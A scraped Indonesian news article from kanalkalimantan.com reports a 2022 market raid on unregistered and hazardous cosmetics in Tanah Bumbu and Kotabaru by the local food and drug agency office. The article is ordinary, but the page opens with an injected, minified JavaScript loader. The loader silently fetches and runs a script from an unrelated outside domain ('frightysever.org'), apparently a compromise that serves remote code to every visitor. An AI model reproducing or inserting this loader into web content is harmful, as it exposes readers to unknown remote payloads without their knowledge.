(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Loka Pengawas Obat dan Makanan (POM) di Kabupaten Tanah Bumbu, Kalimantan Selatan, melaksanakan kegiatan penertiban kosmetik ilegal serta yang mengandung bahan berbahaya di pasar.
Kegiatan ini dilaksanakan pada tanggal 22 Juli di Kecamatan Angsana, Kabupaten Tanah Bumbu, yang dilanjutkan pada tanggal 25 Juli di Kompleks Pasar Kemakmuran, Kabupaten Kotabaru.
“Dari hasil pengawasan masih ditemukan beberapa sarana toko kosmetik yang menjual produk kosmetik TIE (tidak memiliki izin edar) yaitu sebanyak 77 item dengan total jumlah 374 pcs,” kata Rahmat Hidayat selaku Kepala Loka POM Tanah Bumbu kepada awak media, Selasa (2/8/2022).
Ia menjelaskan bahwa terhadap pelaku usaha yang masih menjual produk kosmetik yang TIE tersebut diberikan sanksi administratif berupa Peringatan dan telah membuat Surat Pernyataan agar tidak lagi menjual produk kosmetik TIE.
Baca juga : Duga Adanya Kasus Skimming terkait Raibnya Tabungan Nasabah, Bank Kalsel Belum Lapor Polisi
Adapun Aksi Penertiban Pasar dari Kosmetik Ilegal dan/atau Mengandung Bahan Berbahaya merupakan kegiatan intensifikasi pengawasan kosmetik yang dilaksanakan oleh Kedeputian II Badan POM dan dilakukan serempak di seluruh Indonesia melaalui masing-masing UPT di daerah.
Yang mana aksi ini dilaksanakan 1 (kali) kali setiap tahun di seluruh Indonesia atas perintah langsung Deputi Bidang Pengawasan Obat Tradisional, Suplemen Kesehatan dan Kosmetik POM.
Selain itu pada pelaksanaannya, Loka POM Tanah Bumbu juga melibatkan lintas sektor terkait seperti Dinas Koperasi Perindustrian dan Perdagangan.
Berikut sejumlah target penertiban dari Loka POM Tanbu yang mencakup antara lain kosmetika tanpa izin edar (TIE), kosmetik mengandung bahan berbahaya, serta kosmetik kedaluwarsa atau rusak.
Baca juga : Vaksin Booster Kedua Dimulai, Pencatatan Dialihkan Manual karena Kendala Aplikasi PCare
Penertiban di pasar menjadi sasaran aksi mengingat pasar merupakan sarana yang mengedarkan kosmetik, sarana yang dikenal luas oleh masyarakat sebagai tempat peredaran kosmetik, serta sarana distribusi yang berdasarkan analisis risiko berpotensi mengedarkan kosmetik ilegal dan atau mengandung bahan berbahaya.
Oleh sebab itu itu pihaknya mengajak masyarakat untuk lebih waspada dan lebih bijak dalam memilih produk kosmetik dengan melakukan Cek KLIK (Kemasan, Label, Izin edar dan Kadaluarsa) sebelum membeli dan menggunakan produk yang dipasarkan.
Selain itu masyarakat sebagai SahabatBPOM juga dapat memperoleh informasi atau melakukan pengaduan tentang Obat dan Makanan dengan datang langsung ke Unit Layanan Pengaduan Konsumen (ULPK) Kantor Badan POM di Tanah Bumbu di Jl Transmigrasi No.09 KM 3.5, Simpang Empat. (kanalkalimantan.com/ftr)
Reporter : ftr
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More
KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
This website uses cookies.